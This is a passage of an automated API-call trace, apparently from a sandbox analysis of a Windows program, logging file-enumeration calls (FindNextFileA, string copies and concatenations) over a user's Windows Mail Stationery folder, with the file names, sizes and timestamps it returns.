Mail\\Stationery") returned 0x4d [0063.409] strlen (_Str=".") returned 0x1 [0063.409] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.409] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.409] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.409] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.409] strcmp (_Str1=".", _Str2="..") returned -1 [0063.409] strcmp (_Str1=".", _Str2=".") returned 0 [0063.409] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="..", cAlternateFileName="")) returned 1 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] strlen (_Str="..") returned 0x2 [0063.410] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] strcmp (_Str1="..", _Str2="..") returned 0 [0063.410] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] strlen (_Str="Bears.htm") returned 0x9 [0063.410] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] strlen (_Str="Bears.jpg") returned 0x9 [0063.410] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] strlen (_Str="Desktop.ini") returned 0xb [0063.410] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] strlen (_Str="Garden.htm") returned 0xa [0063.410] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] strlen (_Str="Garden.jpg") returned 0xa [0063.410] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.410] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Green Bubbles.htm", cAlternateFileName="GREENB~1.HTM")) returned 1 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] strlen (_Str="Green Bubbles.htm") returned 0x11 [0063.411] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="GreenBubbles.jpg", cAlternateFileName="GREENB~1.JPG")) returned 1 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] strlen (_Str="GreenBubbles.jpg") returned 0x10 [0063.411] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Hand Prints.htm", cAlternateFileName="HANDPR~1.HTM")) returned 1 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] strlen (_Str="Hand Prints.htm") returned 0xf [0063.411] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="HandPrints.jpg", cAlternateFileName="HANDPR~1.JPG")) returned 1 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] strlen (_Str="HandPrints.jpg") returned 0xe [0063.411] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Orange Circles.htm", cAlternateFileName="ORANGE~1.HTM")) returned 1 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] strlen (_Str="Orange Circles.htm") returned 0x12 [0063.411] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="OrangeCircles.jpg", cAlternateFileName="ORANGE~1.JPG")) returned 1 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.411] strlen (_Str="OrangeCircles.jpg") returned 0x11 [0063.411] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.411] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] strlen (_Str="Peacock.htm") returned 0xb [0063.412] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] strlen (_Str="Peacock.jpg") returned 0xb [0063.412] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] strlen (_Str="Roses.htm") returned 0x9 [0063.412] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] strlen (_Str="Roses.jpg") returned 0x9 [0063.412] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Shades of Blue.htm", cAlternateFileName="SHADES~1.HTM")) returned 1 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] strlen (_Str="Shades of Blue.htm") returned 0x12 [0063.412] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="ShadesOfBlue.jpg", cAlternateFileName="SHADES~1.JPG")) returned 1 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] strlen (_Str="ShadesOfBlue.jpg") returned 0x10 [0063.412] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.412] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Soft Blue.htm", cAlternateFileName="SOFTBL~1.HTM")) returned 1 [0063.413] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.413] strlen (_Str="Soft Blue.htm") returned 0xd [0063.413] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.413] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0063.413] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.413] strlen (_Str="SoftBlue.jpg") returned 0xc [0063.413] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.413] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0063.413] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.413] strlen (_Str="Stars.htm") returned 0x9 [0063.413] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.413] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] 